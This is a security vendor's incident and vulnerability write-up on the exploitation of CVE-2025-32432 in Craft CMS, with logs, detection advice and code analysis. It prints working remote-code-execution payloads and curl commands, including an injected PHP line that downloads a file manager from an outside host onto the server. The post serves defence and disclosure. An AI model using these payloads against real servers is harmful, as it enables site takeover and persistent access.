Our Blog

Investigating an in-the-wild campaign using RCE in CraftCMS

Reading time ~35 min

Introduction

In mid-February, Orange Cyberdefense’s CSIRT was tasked with investigating a server that had been hosting a now-unavailable website. The site had been built using CraftCMS running version 4.12.8. The forensic investigation and post-analysis with the Ethical Hacking team led to the discovery of two CVEs: CVE-2024-58136 and CVE-2025-32432.

This blog post aims to present:

  • The investigation that led to the finding of those two CVEs, and details of the different IOCs found during the analysis.
  • The technical details of both CVEs, explaining how the Craft CMS was vulnerable through the Yii Framewrork.
  • An assessment of the vulnerable assets online.

I. Forensic investigation

TL;DR

  • On the 14th of February, a threat actor compromised a web server using CVE-2025-32432.
  • The threat actor used it to download a file manager written in PHP on the server which was later used to upload other PHP files to the server.

The rest of this section will cover the following points:

  • Investigating a Craft CMS incident: details about which logs were used during the investigation.
  • Exploiting CVE-2025-32432: details about how the threat actor leveraged the CVE to compromise the web server.
  • Post-exploitation: details about the actions performed by the threat actor after leveraging the CVE.
  • Summary: summary of the findings.
  • What to look for: key points to look for if you need to investigate a Craft CMS instance that might have been compromised using CVE-2025-32432.

IOCs found during the investigation and linked to the exploitation of CVE-2025-32432 are available in the appendix.

I.1 Investigating a Craft CMS incident

The investigation of the Craft CMS was based on two log sources:

  • Access logs produced by the web server.
  • Craft CMS logs, mostly its web logs that journalized every request going through index.php and details about it such as the parameters for a POST request. Other Craft CMS logs such as the phperrors.log can contain valuable information for the post-exploitation analysis. The default path for logs is the directory CRAFT_INSTALL_PATH/storage/logs/.

An analysis of the server was also performed to ensure the threat actor did not compromise the system more widely.

I.2 Exploiting CVE-2025-32432

Step 1: Finding a valid asset ID

Craft CMS uses the notion of “Asset” to manage document files and media on the web site; each asset is defined by a set of properties such as a filename or a unique ID. Specifically, for images Craft CMS offers a built-in image transformation feature to help admins keep images to a certain format. Those transformations can be predefined by creating a transformation template or they can be made on the fly for a selected image.

CVE-2025-32432 relies on the fact that an unauthenticated user could send a POST request to the endpoint responsible for the image transformation and the data within the POST would be interpreted by the server. The data is interpreted when the transformation object is created. In versions 3.x of Craft CMS, the asset ID is checked before the creation of the transformation object whereas in version 4.x and 5.x, the asset ID is checked after. Thus, for the exploit to function with every version of Craft CMS, the threat actor needs to find a valid asset ID. The technical analysis section provides an in-depth analysis of the CVE.

As such the threat actor started to query the URI /index.php?p=admin/actions/assets/generate-transform multiple times. This URI is responsible for the transformation of an image. With each query the threat actor incremented the asset ID number. Those queries were probably made using a python script as suggested by the user-agent of the requester.

2025-02-10 08:13:48 [web.WARNING] [application] Request context: {"environment":"production","body":"{\"assetId\":162,\"handle\":{\"width\":123,\"height\":123}}","vars":{"\_GET":{"p":"admin/actions/assets/generate-transform"},"\_FILES":[],"\_COOKIE":{"CRAFT\_CSRF\_TOKEN":"••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••"},"\_SERVER":{"USER":[REDACTED],"HOME":[REDACTED],"SCRIPT\_NAME":"/index.php","REQUEST\_URI":"/index.php?p=admin/actions/assets/generate-transform","QUERY\_STRING":"p=admin/actions/assets/generate-transform","REQUEST\_METHOD":"POST","SERVER\_PROTOCOL":"HTTP/1.1","GATEWAY\_INTERFACE":[REDACTED],"REMOTE\_PORT":"36142","SCRIPT\_FILENAME":[REDACTED],"SERVER\_ADMIN":[REDACTED],"CONTEXT\_DOCUMENT\_ROOT":[REDACTED],"CONTEXT\_PREFIX":"","REQUEST\_SCHEME":"https","DOCUMENT\_ROOT":[REDACTED],"REMOTE\_ADDR":"103.106.66.123","SERVER\_PORT":"443","SERVER\_ADDR":[REDACTED],"SERVER\_NAME":[REDACTED],"SERVER\_SOFTWARE":[REDACTED],"SERVER\_SIGNATURE":[REDACTED],"PATH":"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin","CONTENT\_LENGTH":"57","HTTP\_COOKIE":[REDACTED],"CONTENT\_TYPE":"application/json","HTTP\_X\_CSRF\_TOKEN":"••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••","HTTP\_CONNECTION":"keep-alive","HTTP\_ACCEPT":"\*/\*","HTTP\_ACCEPT\_ENCODING":"gzip, deflate","HTTP\_USER\_AGENT":"python-requests/2.27.1",[...]}}}

Figure 1: Extract of Craft CMS web logs showing the content of a POST request targeting the endpoint generate-transform

When the return code is 404, it means that the requested asset ID doesn’t exist whilst a return code of 302 means that the asset ID exists and the transformation completed, redirecting the user to the transformed asset.

The script was probably made to stop the search as soon as a valid asset ID is found. Indeed, Craft CMS logs indicates that the asset ID was incremented from 125 to 162 which returned a 302 code whilst the others all returned a 404 code.

103.106.66.123 - - [10/Feb/2025:08:13:46 +0100] "POST /index.php?p=admin/actions/assets/generate-transform HTTP/1.1" 404 25853
103.106.66.123 - - [10/Feb/2025:08:13:46 +0100] "POST /index.php?p=admin/actions/assets/generate-transform HTTP/1.1" 404 25853
103.106.66.123 - - [10/Feb/2025:08:13:47 +0100] "POST /index.php?p=admin/actions/assets/generate-transform HTTP/1.1" 302 -

Figure 2: Extract of access logs showing POST requests targeting the endpoint generate-transform

Step 2: Checking if the server is vulnerable

Once a valid asset ID was found, the threat actor tried to determine if the server was vulnerable. They ran a python script that searched again for a valid asset ID – which found the asset ID 11 – and then proceeded to send a POST request to the URI /index.php?p=admin/actions/assets/generate-transform targeting the asset ID 11. The contents of the body has been modified by adding a new field named as session:

2025-02-10 08:14:09 [web.WARNING] [application] Request context: {"environment":"production","body":"{\"assetId\":11,\"handle\":{\"width\":123,\"height\":123,\"as session\":{\"class\":\"craft\\\\behaviors\\\\FieldLayoutBehavior\",\"\_\_class\":\"GuzzleHttp\\\\Psr7\\\\FnStream\",\"\_\_construct()\":[[]],\"\_fn\_close\":\"phpinfo\"}}}","vars":{"\_GET":{"p":"admin/actions/assets/generate-transform"},"\_FILES":[],"\_COOKIE":{"CRAFT\_CSRF\_TOKEN":"••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••"},"\_SERVER":{"USER":[REDACTED],"HOME":[REDACTED],"SCRIPT\_NAME":"/index.php","REQUEST\_URI":"/index.php?p=admin/actions/assets/generate-transform","QUERY\_STRING":"p=admin/actions/assets/generate-transform","REQUEST\_METHOD":"POST","SERVER\_PROTOCOL":"HTTP/1.1","GATEWAY\_INTERFACE":[REDACTED],"REMOTE\_PORT":"38660","SCRIPT\_FILENAME":[REDACTED],"SERVER\_ADMIN":[REDACTED],"CONTEXT\_DOCUMENT\_ROOT":[REDACTED],"CONTEXT\_PREFIX":[REDACTED],"REQUEST\_SCHEME":"https","DOCUMENT\_ROOT":[REDACTED],"REMOTE\_ADDR":"103.106.66.123","SERVER\_PORT":"443","SERVER\_ADDR":[REDACTED],"SERVER\_NAME":[REDACTED],"SERVER\_SOFTWARE":[REDACTED],"SERVER\_SIGNATURE":[REDACTED],"PATH":"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin","CONTENT\_LENGTH":"210","HTTP\_COOKIE":[REDACTED],"CONTENT\_TYPE":"application/json","HTTP\_X\_CSRF\_TOKEN":"••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••","HTTP\_CONNECTION":"keep-alive","HTTP\_ACCEPT":"\*/\*","HTTP\_ACCEPT\_ENCODING":"gzip, deflate","HTTP\_USER\_AGENT":"python-requests/2.27.1",[...]}}}

Figure 3: Extract of Craft CMS web logs showing the content of the POST request targeting the endpoint generate-transform with a modified body

The field as session shows a reference to the PHP function phpinfo which prints information about the PHP configuration. This payload once interpreted and executed by the server will return the content of the phpinfo function to the threat actor.

{
    "assetId": 11,
    "handle": {
        "width": 123,
        "height": 123,
        "as session": {
            "class": "craft\\behaviors\\FieldLayoutBehavior",
            "__class": "GuzzleHttp\\Psr7\\FnStream",
            "__construct()": [
                []
            ],
            "_fn_close": "phpinfo"
        }
    }
}

Figure 4: Content of the body with an illegitimate field as session

Step 3: Exploiting the vulnerability

Soon after this first check, the threat actor exploited the vulnerability to download a PHP file on the server. The exploitation was done in two steps, first, they requested the dashboard admin page with injected PHP code in the a parameter. The purpose of the code when executed is to download a resource from a GitHub repository and save it as a file named filemanager.php. This filemanager.php is from an old repository which is likely only reused by the threat actor. As the threat actor was not authenticated, he was allegedly redirected to the login page.

172.86.113.137 - - [10/Feb/2025:08:16:51 +0100] "GET /index.php?p=admin/dashboard&a=<?=file\_put\_contents(\"filemanager.php\",file\_get\_contents(\"https://raw.githubusercontent.com/alexantr/filemanager/master/filemanager.php\"))?> HTTP/1.1" 302 -

Figure 5: Extract of access logs showing the PHP injection within the request’s parameters

When a user is redirected to be authenticated, Craft CMS stores the return URL within a PHP session file which is written, by default, in the directory /var/lib/php/sessions. The nomenclature of this file is composed of sess_ and a Craft CMS session ID. The Craft CMS session ID is created for a session the first time a user accesses the website. The Craft CMS session ID is sent to the user within the response.

Second, few minutes after that GET request, a POST request to the image transformation endpoint is made by the same IP address with a modified body which included an illegitimate field named as hack.

2025-02-10 08:24:57 [web.WARNING] [application] Request context: {"environment":"production","body":"{\"assetId\":11,\"handle\":{\"width\":123,\"height\":123,\"as hack\":{\"class\":\"craft\\\\behaviors\\\\FieldLayoutBehavior\",\"\_\_class\":\"\\\\yii\\\\rbac\\\\PhpManager\",\"\_\_construct()\":[{\"itemFile\":\"\\/var\\/lib\\/php\\/session\\/sess\_3hqjhnca16mpmepr0r94mpu0nr\"}]}}}","vars":{"\_GET":{"p":"actions/assets/generate-transform"},"\_FILES":[],"\_COOKIE":{"CRAFT\_CSRF\_TOKEN":"••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••"},"\_SERVER":{"USER":"[REDACTED]","HOME":"[REDACTED]","SCRIPT\_NAME":"/index.php","REQUEST\_URI":"/index.php?p=actions/assets/generate-transform","QUERY\_STRING":"p=actions/assets/generate-transform","REQUEST\_METHOD":"POST","SERVER\_PROTOCOL":"HTTP/1.1","GATEWAY\_INTERFACE":"[REDACTED]","REMOTE\_PORT":"5310","SCRIPT\_FILENAME":"[REDACTED]","SERVER\_ADMIN":"[REDACTED]","CONTEXT\_DOCUMENT\_ROOT":"[REDACTED]","CONTEXT\_PREFIX":"[REDACTED]","REQUEST\_SCHEME":"https","DOCUMENT\_ROOT":"[REDACTED]","REMOTE\_ADDR":"172.86.113.137","SERVER\_PORT":"443","SERVER\_ADDR":"[REDACTED]","SERVER\_NAME":"[REDACTED]","SERVER\_SOFTWARE":"[REDACTED]","SERVER\_SIGNATURE":"[REDACTED]","PATH":"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin","CONTENT\_LENGTH":"237","HTTP\_CONNECTION":"keep-alive",[...],"HTTP\_COOKIE":"[REDACTED]","HTTP\_X\_CSRF\_TOKEN":"••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••","CONTENT\_TYPE":"application/json","HTTP\_DNT":"1","HTTP\_ACCEPT\_ENCODING":"gzip, deflate, br","HTTP\_ACCEPT\_LANGUAGE":"en-US,en;q=0.5","HTTP\_ACCEPT":"text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8, application/json","HTTP\_USER\_AGENT":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0",[...]}}}

Figure 6: Extract of Craft CMS web logs showing a POST request with a modified body

In this body, the threat actor added the field as hack to the handle key. Analysis showed that the name of the new field does not matter as long as it starts with the value as. The purpose of this new field is to execute – through the use of the PhpManager class of the Yii library – the PHP code present in the file /var/lib/php/session/sess_3hqjhnca16mpmepr0r94mpu0nr which contains the return URL with injected PHP code.

{
    "assetId": 11,
    "handle": {
        "width": 123,
        "height": 123,
        "as hack": {
            "class": "\\craft\\behaviors\\FieldLayoutBehavior",
            "__class": "\\yii\\rbac\\PhpManager",
            "__construct()": [
                {
                    "itemFile": "/var/lib/php/session/sess_3hqjhnca16mpmepr0r94mpu0nr"
                }
            ]
        }
    }
}

Figure 7: Content of the body with an illegitimate field as hack

A few seconds later, the threat actor was able to access the file named filemanager.php showing that the exploit had been successful.

172.86.113.137 - - [10/Feb/2025:08:25:08 +0100] "GET /filemanager.php HTTP/1.1" 200 2327

Figure 8: Web access logs showing successful access to the PHP file manager downloaded by the threat actor onto the web server

To summarise the exploitation phase – to work with every version of Craft CMS from 3.x to 5.x a threat actor must first find a valid asset ID. Then they have two ways of exploiting CVE-2025-32432, by:

  1. Sending a POST request to the endpoint responsible for transforming the image with a PHP function to execute.
  2. Sending sequentially the following two requests:
    • One GET request with an injected PHP code to an admin page while being unauthenticated that will redirect him in order to trigger the writing of the return URL in the PHP session file.
    • One POST request to the endpoint in charge of transforming the image with the name of the previously mentioned PHP session file which contains the injected code.

I.3. Post exploitation

I.3.A. Testing the automation of the exploit

During the exploitation section, we did not cover that the threat actor failed to automate the file delivery part or failed at first. There were almost eight minutes between the two requests to download filemanager.php on the server and the user-agent for both requests was Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0, which differs from the python-requests/2.27.1 that was used before. Those elements suggest that the requests were sent from a real browser and not a python script (since the TA did not bother the hide the Python User-Agent, we have no reason to believe that the second User-Agent used was tampered).

Furthermore, after having checked the server was vulnerable, the threat actor tried to download the file on the server using their automated python script, but it failed every time as the file seemed to be absent. The following excerpt shows:

  1. The multiples automated POST requests to find a valid asset ID.
  2. Then when the asset ID is found, a GET request to inject the PHP code within the return URL.
  3. The POST request to execute the PHP code within the return URL.
  4. The failed access to the filemanager.php proving that the exploitation of the RCE failed.
103.106.66.123 - - [10/Feb/2025:08:14:25 +0100] "POST /index.php?p=admin/actions/assets/generate-transform HTTP/1.1" 400 25838
103.106.66.123 - - [10/Feb/2025:08:14:26 +0100] "GET /index.php?p=admin/actions/assets/generate-transform HTTP/1.1" 500 25854
103.106.66.123 - - [10/Feb/2025:08:14:27 +0100] "POST /index.php?p=admin/actions/assets/generate-transform HTTP/1.1" 404 25853
103.106.66.123 - - [10/Feb/2025:08:14:27 +0100] "POST /index.php?p=admin/actions/assets/generate-transform HTTP/1.1" 404 25853
103.106.66.123 - - [10/Feb/2025:08:14:28 +0100] "POST /index.php?p=admin/actions/assets/generate-transform HTTP/1.1" 404 25853
103.106.66.123 - - [10/Feb/2025:08:14:28 +0100] "POST /index.php?p=admin/actions/assets/generate-transform HTTP/1.1" 404 25853
103.106.66.123 - - [10/Feb/2025:08:14:29 +0100] "POST /index.php?p=admin/actions/assets/generate-transform HTTP/1.1" 404 25853
103.106.66.123 - - [10/Feb/2025:08:14:29 +0100] "POST /index.php?p=admin/actions/assets/generate-transform HTTP/1.1" 404 25853
103.106.66.123 - - [10/Feb/2025:08:14:30 +0100] "POST /index.php?p=admin/actions/assets/generate-transform HTTP/1.1" 404 25853
103.106.66.123 - - [10/Feb/2025:08:14:30 +0100] "POST /index.php?p=admin/actions/assets/generate-transform HTTP/1.1" 404 25853
103.106.66.123 - - [10/Feb/2025:08:14:30 +0100] "POST /index.php?p=admin/actions/assets/generate-transform HTTP/1.1" 404 25853
103.106.66.123 - - [10/Feb/2025:08:14:31 +0100] "POST /index.php?p=admin/actions/assets/generate-transform HTTP/1.1" 404 25853
103.106.66.123 - - [10/Feb/2025:08:14:31 +0100] "POST /index.php?p=admin/actions/assets/generate-transform HTTP/1.1" 404 25853
103.106.66.123 - - [10/Feb/2025:08:14:32 +0100] "POST /index.php?p=admin/actions/assets/generate-transform HTTP/1.1" 302 -
103.106.66.123 - - [10/Feb/2025:08:14:32 +0100] "GET /index.php?p=admin/dashboard&a=%3C?=file\_put\_contents(%22filemanager.php%22,file\_get\_contents(%22https://raw.githubusercontent.com/alexantr/filemanager/master/filemanager.php%22))?%3E HTTP/1.1" 302 -103.106.66.123 - - [10/Feb/2025:08:14:33 +0100] "GET /admin/login HTTP/1.1" 200 15106
103.106.66.123 - - [10/Feb/2025:08:14:33 +0100] "GET /index.php?p=admin/actions/users/session-info HTTP/1.1" 200 191
103.106.66.123 - - [10/Feb/2025:08:14:34 +0100] "POST /index.php?p=admin/actions/assets/generate-transform HTTP/1.1" 500 25854
103.106.66.123 - - [10/Feb/2025:08:14:35 +0100] "GET /filemanager.php HTTP/1.1" 404 22556

Figure 9: Web access logs showing the automation of the exploit to download of file on the server did not work at first

The exploitation failure was due to the use of an ill-formed body or the use of PHP libraries within the payload that weren’t installed on the web server.

As such, after having successfully downloaded filemanager.php on the server, the threat actor deleted it and tried again to download it through an automated process.

172.86.113.137 - - [10/Feb/2025:08:25:42 +0100] "GET /filemanager.php?p=&del=filemanager.php HTTP/1.1" 302 -
172.86.113.137 - - [10/Feb/2025:08:25:43 +0100] "GET /filemanager.php?p= HTTP/1.1" 404 22630

Figure 10: Web access logs showing the threat actor deleting filemanager.php

To do so, he used the IP addresses 172.86.113[.]137 and 104.161.32[.]11. Even when they successfully downloaded a file on the server through the automated process, the threat actor deleted the file manager again to continue their tests.

172.86.113.137 - - [10/Feb/2025:08:52:47 +0100] "POST /index.php?p=admin/actions/assets/generate-transform HTTP/1.1" 404 25853
172.86.113.137 - - [10/Feb/2025:08:52:48 +0100] "POST /index.php?p=admin/actions/assets/generate-transform HTTP/1.1" 302 -
172.86.113.137 - - [06/Feb/2025:08:52:49 +0100] "GET /index.php?p=admin/dashboard&a=%3C?=file\_put\_contents(%22filemanager.php%22,file\_get\_contents(%22https://raw.githubusercontent.com/alexantr/filemanager/master/filemanager.php%22))?%3E HTTP/1.1" 302 -
172.86.113.137 - - [10/Feb/2025:08:52:50 +0100] "GET /admin/login HTTP/1.1" 200 15103
172.86.113.137 - - [10/Feb/2025:08:52:51 +0100] "GET /index.php?p=admin/actions/users/session-info HTTP/1.1" 200 189
172.86.113.137 - - [10/Feb/2025:08:52:52 +0100] "POST /index.php?p=admin/actions/assets/generate-transform HTTP/1.1" 500 146
172.86.113.137 - - [10/Feb/2025:08:52:53 +0100] "GET /filemanager.php HTTP/1.1" 200 2327
172.86.113.137 - - [10/Feb/2025:08:53:22 +0100] "GET /filemanager.php HTTP/1.1" 302 -
172.86.113.137 - - [10/Feb/2025:08:53:22 +0100] "GET /filemanager.php?p= HTTP/1.1" 200 3486
172.86.113.137 - - [10/Feb/2025:08:53:30 +0100] "GET /filemanager.php?p=&del=filemanager.php HTTP/1.1" 302 -
172.86.113.137 - - [10/Feb/2025:08:53:30 +0100] "GET /filemanager.php?p= HTTP/1.1" 404 22630

Figure 11: Web access logs showing a successful automated drop of the file filemanager.php

The last filemanager.php was downloaded on the 11th of February at 01:58 by IP address 104.161.32[.]11 using an automated tool they had finally got working.

I.3.B. Using filemanager.php

The only use made of filemanager.php was to upload up to five files on the 12th of February. The content of the requests cannot be seen as they weren’t logged by Craft CMS.

154.211.22.213 - - [12/Feb/2025:04:00:08 +0100] "GET /filemanager.php?p=&upload HTTP/1.1" 200 2531
154.211.22.213 - - [12/Feb/2025:04:00:15 +0100] "POST /filemanager.php?p=&upload HTTP/1.1" 302 -

Figure 12: Web access logs showing a file upload using filemanager.php

No file creation was observed on the filesystem at the time of those uploads. Nevertheless, two suspicious files were accessed within the hour following the upload.

154.211.22.213 - - [12/Feb/2025:04:10:37 +0100] "GET /wp-22.php?sxallsitemap.xml HTTP/1.1" 200 106
38.145.208.231 - - [12/Feb/2025:04:23:50 +0100] "GET /style.php HTTP/1.1" 500 -
38.145.208.231 - - [12/Feb/2025:04:24:06 +0100] "GET /style.php HTTP/1.1" 200 140
38.145.208.231 - - [12/Feb/2025:04:24:25 +0100] "GET /style.php HTTP/1.1" 500 -
38.145.208.231 - - [12/Feb/2025:04:27:03 +0100] "GET /style.php HTTP/1.1" 200 142
38.145.208.231 - - [12/Feb/2025:04:28:08 +0100] "GET /style.php HTTP/1.1" 200 145
38.145.208.231 - - [12/Feb/2025:04:28:50 +0100] "GET /style.php HTTP/1.1" 500 -
38.145.208.231 - - [12/Feb/2025:04:33:09 +0100] "GET /style.php HTTP/1.1" 200 142
38.145.208.231 - - [12/Feb/2025:04:35:08 +0100] "GET /style.php HTTP/1.1" 200 133

Figure 13: Web access logs showing suspicious access after a file upload

Those files weren’t found on the filesystem. The purpose of wp-22.php has not been determined. The functioning of style.php has not been determined but it seemed to embed functionality of a file manager. The creation of an index.php file within subdirectories of the Craft CMS file structure matches the first four requests with a 200-return code.

The last 200-return code access matches a change of metadata for the file autoload_classmap.php located at the root of the web directory. Several pieces of evidence suggest that this access was used to rename filemanager.php into autoload_classmap.php:

  • The file filemanager.php and autoload_classmap.php are the same file as they share the same sha256.
  • The file filemanager.php was not found on the filesystem whereas autoload_classmap.php was found.
  • The creation time of autoload_classmap.php matches the time creation of the last filemanager.php dropped on the filesystem using CVE-2025-32432.
  • The last successful access to filemanager.php was made at 03:00 the 12th of February. The next access returned a 404 code and was made at 09:03. No access to autoload_classmap.php was made during that time.

Those elements led us to believe the threat actor renamed filemanager.php to autoload_classmap.php.

The use of autoload_classmap.php started from the 14th of February from several new IP addresses. Multiples PHP files were dropped on the server and ultimately resulted in taking down the web site since these files overwrote legitimate files.

I.4. Summary

On the 10th of February, a threat actor compromised a web server using CVE-2025-32432, which affects all Craft CMS versions from 3.x to 5.x. The threat actor first tested if the server was vulnerable by using the exploit to executing the function phpinfo() and then proceeded to download a PHP file named filemanager.php. Between the 10th and the 11th of February, the threat actor improved their scripts by testing the download of filemanager.php to the web server multiple times with a python script. The file filemanager.php was renamed to autoload_classmap.php on the 12th of February and was first used on the 14th of February.

I.5. What to look for?

If you suspect your Craft CMS instance has been breached by someone using CVE-2025-32432, here are the key points to look for:

  • Access logs:
    • Presence of numerous POST requests on the endpoint generate-transform.
    • Presence of GET requests targeting admin pages with a 302-return code and an injected PHP code.
  • Craft CMS web logs:
    • Presence of a field starting with the value as within the body of the POST requests targeting the endpoint generate-transform.
    • Presence of the error “Image transform cannot be created”.

Reminder: IOCs are available in the appendix.

II. Technical analysis

II.1. Context

As explained previously, the attacker made three kinds of requests, which we can replicate using curl:

# request calling phpinfo
$ curl 'http://redacted:8080/index.php?p=actions/assets/generate-transform' -XPOST -H 'Content-Type: application/json' -d '{"assetId":11,"handle":{"width":123,"height":123,"as session":{"class":"craft\\behaviors\\FieldLayoutBehavior","__class":"GuzzleHttp\\Psr7\\FnStream","__construct()":[[]],"_fn_close":"phpinfo"}}}' -b '<cookies>'

# request pushing PHP code
$ curl 'http://redacted:8080/index.php?p=admin/dashboard&a=<?=file_put_contents(\"filemanager.php\",file_get_contents(\"https://raw.githubusercontent.com/alexantr/filemanager/master/filemanager.php\"))?>' -vvv

# request triggering the PHP code
$ curl 'http://redacted:8080/index.php?p=actions/assets/generate-transform' -XPOST -H 'Content-Type: application/json' -d '{"assetId":11,"handle":{"width":123,"height":123,"as hack":{"class":"craft\\behaviors\\FieldLayoutBehavior","__class":"yii\\rbac\\PhpManager","__construct()":[{"itemFile":"/var/lib/php/sessions/sess_YYY"}]}}}' -b '<cookies>'

Figure 14: Requests made by the attacker, as curl commands

However, simply trying to replay the requests did not achieve code execution on our lab, instead erroring out.

Note: the CraftCMS platform uses the Yii framework.

II.2. Creating an environment to replicate the vulnerabilities

We created a lab to replicate the vulnerability:

# Clone repo
$ git -c advice.detachedHead=false clone https://github.com/craftcms/craft.git --branch 4.1.0 --depth 1 --quiet lab

# Edited version to have the one used in the attack.
$ sed -i "s/\^4.4.0/4.12.8/g" composer.json
$ sed -i "s/\^4.4.0/4.12.8/g" composer.json.default

# Ran composer install
composer install -q --no-ansi --no-interaction --no-scripts --no-progress --no-dev --prefer-dist

# Setup a postgres database with the craft/craft credentials, and the craft database name

# Installed necessary php extensions

# Ran initial setup steps
php craft setup/keys --interactive 0 >/dev/null
php craft setup/db --interactive 0 --driver pgsql --server 127.0.0.1 --user craft --password craft --database craft >/dev/null
php craft install/craft --interactive 0 --email admin@localhost.fr --language en_US --password password --site-name cve --site-url http://localhost:8080 --username admin >/dev/null

# Ran server
./craft serve

Figure 15: Steps used to create a lab

II.3. Triggering phpinfo

The targeted endpoint is the following: /index.php?p=admin/actions/assets/generate-transform. It maps to the AssetsController::actionGenerateTransform function, which does not require authentication.

Here is an excerpt of its code:

public function actionGenerateTransform(?int $transformId = null): Response
{
    try {
        // If a transform ID was not passed in, see if a file ID and handle were.
        if ($transformId) {
            // ...
        } else {
            $assetId = $this->request->getRequiredBodyParam('assetId');
            $handle = $this->request->getRequiredBodyParam('handle');
            $transform = ImageTransforms::normalizeTransform($handle);
            $transformer = $transform?->getImageTransformer();
        }
    } catch (\Exception $exception) {
        // ...
    }

    // ...
}

Figure 16: Excerpt from vendor/craftcms/cms/src/controllers/AssetsController.php

Note: this route takes a JSON input.

As we can see, it first checks if a transformId is passed. If it isn’t, the else branch is taken, and the ImageTransforms::normalizeTransform function is called, with a user-specified parameter.

Trying to call it gives us a CSRF validation error, which we can temporarily disable in the configuration. We also enable developer mode, giving us stacktraces.

return GeneralConfig::create()
    // ...false
    ->devMode(true)
    ->enableCsrfProtection(false)
;

Figure 17: Excerpt from config/general.php

Trying our first request again gives us a phpinfo, meaning we reached code execution:

$ curl 'http://127.0.0.1:8080/index.php?p=actions/assets/generate-transform' -XPOST -d '{"assetId":11,"handle":{"width":123,"height":123,"as session":{"class":"craft\\behaviors\\FieldLayoutBehavior","__class":"GuzzleHttp\\Psr7\\FnStream","__construct()":[[]],"_fn_close":"phpinfo"}}}' -H 'Content-Type: application/json'

...
<title>PHP 8.2.28 - phpinfo()</title><meta name="ROBOTS" content="NOINDEX,NOFOLLOW,NOARCHIVE" /></head>
...

Figure 18: Reaching code execution

However, we were only able to call a single function without any arguments – not much help for an attacker.

II.4. Understanding why phpinfo is called

Let’s dig deeper in the code. The normalizeTransform function checks if our input is valid, and creates a new ImageTransform from it.

public static function normalizeTransform(mixed $transform): ?ImageTransform
{
    // ...
    if (is_array($transform)) {
        // ...
        return new ImageTransform($transform);
    }
    // ...
}

Figure 19: Excerpt from vendor/craftcms/cms/src/helpers/ImageTransforms.php

The ImageTransform class constructor is defined in its parent: Model.

public function __construct($config = [])
{
    // ...
    App::configure($this, $config);
    // ...
}

Figure 20: Excerpt from vendor/craftcms/cms/src/base/Model.php

It calls App::configure to setup its properties according to the given configuration. This function is a simple for loop:

public static function configure(object $object, array $properties): void
{
    foreach ($properties as $name => $value) {
        $object->$name = $value;
    }
}

Figure 21: Excerpt from vendor/craftcms/cms/src/helpers/App.php

Looking back at our payload, it means we can simplify our code down to:

<?php

require './bootstrap.php';
require CRAFT_VENDOR_PATH . '/craftcms/cms/bootstrap/web.php';

use craft\Craft;
use craft\models\ImageTransform;

$model = new ImageTransform();
$model['width'] = 123;
$model['height'] = 123;
$model['as session'] = [
    'class' => 'craft\\behaviors\\FieldLayoutBehavior',
    '__class' => 'GuzzleHttp\\Psr7\\FnStream',
    '__construct()' => [[]],
    '_fn_close' => 'phpinfo',
];

Figure 22: Replica code

Executing it gives us a phpinfo:

$ php replica.php
PHP Version => 8.2.28
...

Figure 23: Replica code being executed

Looking at ImageTransform, it extends Model, which extends Yii’s Model, which ultimately is a Yii Component. The as session syntax is specified in its configuration guide:

The as behaviorName elements specify what behaviors should be attached to the object. Notice that the array keys are formed by prefixing behavior names with as ; the value, $behaviorConfig, represents the configuration for creating a behavior, like a normal configuration described here.

Now we need to read up on behaviours:

Behaviors are instances of yii\base\Behavior, or of a child class. Behaviors, also known as mixins, allow you to enhance the functionality of an existing component class without needing to change the class’s inheritance. Attaching a behavior to a component “injects” the behavior’s methods and properties into the component, making those methods and properties accessible as if they were defined in the component class itself. Moreover, a behavior can respond to the events triggered by the component, which allows behaviors to also customize the normal code execution of the component.

So to summarise, using the as x syntax, we’re able to attach a behavior (aka a mixin) to a Component.

Very interesting! But it does not explain why we’re able to instantiate an arbitrary class. Let’s dive deeper, and look at the __set function itself.

public function __set($name, $value)
{
    $setter = 'set' . $name;
    if (method_exists($this, $setter)) {
        // ...
    } elseif (strncmp($name, 'on ', 3) === 0) {
        // ...
    } elseif (strncmp($name, 'as ', 3) === 0) {
        // as behavior: attach behavior
        $name = trim(substr($name, 3));
        if ($value instanceof Behavior) {
            $this->attachBehavior($name, $value);
        } elseif (isset($value['class']) && is_subclass_of($value['class'], Behavior::class, true)) {
            $this->attachBehavior($name, Yii::createObject($value));
        } elseif (is_string($value) && is_subclass_of($value, Behavior::class, true)) {
            $this->attachBehavior($name, Yii::createObject($value));
        } else {
            throw new InvalidConfigException('Class is not of type ' . Behavior::class . ' or its subclasses');
        }

        return;
    }

    // ...
}

Figure 23: Excerpt from vendor/yiisoft/yii2/base/Component.php

Looking at the third branch, we notice that the value of $value['class'] is thoroughly checked. Only if the given class is a subclass of a Behavior do we allow for object creation.

Going back to our payload, it seems weird that we have two classes:

$model['as session'] = [
    'class' => 'craft\\behaviors\\FieldLayoutBehavior',
    '__class' => 'GuzzleHttp\\Psr7\\FnStream',
    '__construct()' => [[]],
    '_fn_close' => 'phpinfo',
];

Figure 24: Excerpt from replica.php

If we remove one or the other, the execution fails. To understand why, we’ll take a look at the Yii::createObject function directly:

public static function createObject($type, array $params = [])
{
    if (is_string($type)) { /* ... */}
    if (is_callable($type, true)) { /* ... */}
    if (!is_array($type)) { /* ... */}

    if (isset($type['__class'])) {
        $class = $type['__class'];
        unset($type['__class'], $type['class']);
        return static::$container->get($class, $params, $type);
    }

    if (isset($type['class'])) {
        $class = $type['class'];
        unset($type['class']);
        return static::$container->get($class, $params, $type);
    }

